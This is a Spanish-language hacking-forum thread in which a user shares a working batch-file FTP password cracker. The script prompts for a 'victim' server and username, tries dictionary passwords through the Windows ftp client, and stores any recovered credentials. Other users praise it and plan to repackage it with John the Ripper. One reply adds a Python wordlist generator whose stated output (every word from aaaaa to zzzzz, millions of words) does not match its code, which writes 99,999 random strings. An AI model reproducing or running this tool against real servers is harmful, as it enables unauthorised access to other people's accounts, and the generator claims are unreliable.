[BATCH] Crackeador de FTP en .bat

[AlxSpy]

hola hice este crackeador 100% en .bat , ya lo probe y funciona bien, algunas imagenes:

menu principal
http://www.imagecross.com/11/image-hosting-view-64.php?id=1123Menu.jpg

ingreso de datos
http://www.imagecross.com/11/image-hosting-view-64.php?id=4315Inicio.jpg

clave descifrada
http://www.imagecross.com/11/image-hosting-view-64.php?id=3898Password.jpg

ahora el codigo

Código [Seleccionar] Expandir

@ echo off
title Crackeador - FTP :::::::: AlxSpy
color 0a
set cont=0
set num=1
md C:\Crackeador-FTP\
md C:\Crackeador-FTP\Login
md C:\Crackeador-FTP\Residuo
md C:\Crackeador-FTP\Password
del /q C:\Crackeador-FTP\Login
del /q C:\Crackeador-FTP\Residuo
:Menu
set opcion=4
cls
echo.
echo                        Menu Principal
echo.
echo.
echo                        Opciones:
echo.
echo.
echo                       1-Leeme, instrucciones
echo                       2-Iniciar crackeador
echo                       3-Salir
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto Manual
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Salida) else goto menu

:Manual
cls
echo.
echo                       Leeme, instrucciones
echo.
echo.
echo              -Para hacer el Diccionario-listword, agrega
echo               tu lista de claves en tu fichero de texto:
echo               ".txt", debes agregar un salto de linea o
echo               [ENTER] al inicio de la lista y al final de
echo               la lista porque elprograma tomara la lista
echo               a partir de segunda linea hasta la penultima.
echo              -El nombre del fichero puede o no contener
echo               espacios.
echo              -Para detener el programa debes cerrar la
echo               consola.
echo              -Todos los ficheros que usa el programa estan
echo               en "C:\Crackeador-FTP", no quedara
echo               ningun fichero residuo en tus directorios
echo               principales, solo debes borrar:
echo               "C:\Crackeador-FTP" al terminar el prgrama.
echo              -La clave-password descifrado sera mostrado
echo               en la consola y almacenado en:
echo               "C:\Crackeador-FTP\Password"
echo.
echo.
echo              Pulsa una tecla para volver al menu principal
pause>nul
goto Menu
:Inicio
cls
echo.
echo                      Iniciar Crackeador [Paso 1/2]
echo.
echo.
echo             Para cancelar y volver al menu principal pulsa "C"
echo.
echo ___________________________________________________________________
set /p host=Ingresa el servidor FTP victima:
if "%host%" == "c" goto Menu
if "%host%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p user=Ingresa el usuario victima:
if "%user%" == "c" goto Menu
if "%user%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p dic=Ruta completa del Diccionario:
if "%dic%" == "c" goto Menu
if "%dic%" == "C" goto Menu
if exist "%dic%" (goto Inicio2) else goto error1
:error1
cls
echo.
echo          Error, no se encontro el fichero:
echo          "%dic%"
echo.
echo.
echo          Pulsa una tecla para volver
pause>nul
goto Inicio
:Inicio2
set opcion=4
copy /y "%dic%" C:\Crackeador-FTP\Diccionario.txt
ren C:\Crackeador-FTP\Diccionario.txt lista.txt
ren C:\Crackeador-FTP\lista.txt Diccionario.txt
echo FIN>>C:\Crackeador-FTP\Diccionario.txt
cls
echo.
echo                      Iniciar Crackeador [Paso 2/2]
echo.
echo.
echo         Datos y diccionario listos
echo         ¿Desea iniciar el crackeador ahora?
echo.
echo         1-Si
echo         2-No, volver al paso anterior
echo         3-No, volver al menu principal
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto proceso
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Menu) else goto Inicio2
:Proceso
set /a cont=%cont%+%num%
for /f "skip=%cont% tokens=1" %%a in (C:\Crackeador-FTP\Diccionario.txt) do call :Pass "%%a"
:Pass
set Pass=%1
set Pass=%Pass:"=%
if "%Pass%" == "FIN" (goto Fin) else goto Screen
:Screen
del /q C:\Crackeador-FTP\Login\Login.txt
del /q C:\Crackeador-FTP\Residuo\Residuo.txt
cls
echo.
echo.
echo                        Probando Password %cont%...
echo.
echo %user%>>C:\Crackeador-FTP\Login\Login.txt
echo %Pass%>>C:\Crackeador-FTP\Login\Login.txt
echo bye>>C:\Crackeador-FTP\Login\Login.txt
ftp -s:C:\Crackeador-FTP\Login\Login.txt %host%>>C:\Crackeador-FTP\Residuo\Residuo.txt
if exist C:\Crackeador-FTP\Residuo\Residuo.txt (goto CheckResult) else goto error2
:error2
msg *msg Fallo el comando FTP
cls
echo.
echo.
echo                           Fallo el comando FTP
echo.
echo.
echo              Pulse una tecla para volver al menu principal
pause>nul
goto Menu
:CheckResult
for /f "skip=5 tokens=1" %%a in (C:\Crackeador-FTP\Residuo\Residuo.txt) do call :txt "%%a"
:txt
set txt=%1
set txt=%txt:"=%
if "%txt%" == "530" (goto proceso) else goto Password
:Password
msg *msg Password localizado
cls
echo.
echo.
echo                            Password localizado
echo.
echo.
echo                         Servidor victima: %host%
echo                         Usuario victima: %user%
echo                         Password victima: %Pass%
echo.
echo.
echo               Pulse una tecla para volver al menu principal
pause>nul
echo Servidor: %host% / Usuario: %user% / Clave: %Pass%>>C:\Crackeador-FTP\Password\UsuariosyClaves.txt
goto Reset
:Fin
msg *msg Fin de busqueda sin resultados
goto reset
:Reset
set cont=0
del /q C:\Crackeador-FTP\*.txt
del /q C:\Crackeador-FTP\Login\*.txt
del /q C:\Crackeador-FTP\Residuo\*.txt
goto Menu
:Salida
exit

[SuperDraco]

un crackeador ftp he? mMmmMm interesante, gracias por el aporte!!!

me habria gustado que lo hubieras subido con tu diccionario jaja, saludos!

[AlxSpy]

para la proxima pongo un diccionario...  , o mejor para la proxima saco un generador de palabras para hacer un diccionario.
salu2

[SuperDraco]

Te importa si hago tu script .Executable y lo subo a mi post de la chincheta?   creo que lo subiré junto con el jhon the ripper xD

[AlxSpy]

no hay problema, subelo.

[user_foro]

Y... Como se hace el dicho: Diccionario-listword.txt

El contenido de dicho txt

Se agradece...!!!

[kiriost]

La verdad que bastante bueno y bastante práctico.

Si te gusta todo esto de crackers estudiá sobre "Sockets" en algún lenguaje que es más rápido y no tenés que depender del programa "ftp". (es solo un consejo)

Para crear el diccionario-passwords.txt hay que crearlo a mano escribiendo palabra por palabra y haciendo una lista de estas. O sea, escribis una palabra debajo de la otra para que el programa las vaya probando como passwords.
Aquí les dejo un generador de palabras en Python que te genera todas las palabras posible entre aaaaa y zzzzz:

Código (python) [Seleccionar] Expandir


#Autor: Kiriost
import random

class BruteForce:
def __init__(self):
self.abc = "aabcdeefghiijklmnoopqrstuuvwxyz"
self.num = "0123456789"
self.buff = ""

def WordGEN(self):
cn = random.random()*10
word = ""
while(cn>0):
word = word + self.abc[int(random.random()*len(self.abc))]
cn = cn-1
self.buff = word
return self.buff

def NumGEN(self):
cn = random.random()*10
word = ""
while(cn>0):
word = word + self.num[int(random.random()*len(self.num))]
cn = cn-1
self.buff = word
return self.buff

brute = BruteForce()
file = open("word-list.txt", "w")
for x in range(0, 99999):
    brute.WordGEN()
    file.write(brute.buff+"\n")
file.close()


Esto va a crear un archivo llamado "word-lis.txt" con millones de palabras para usarlas. Solo necesitan tener python para ejecutar este script.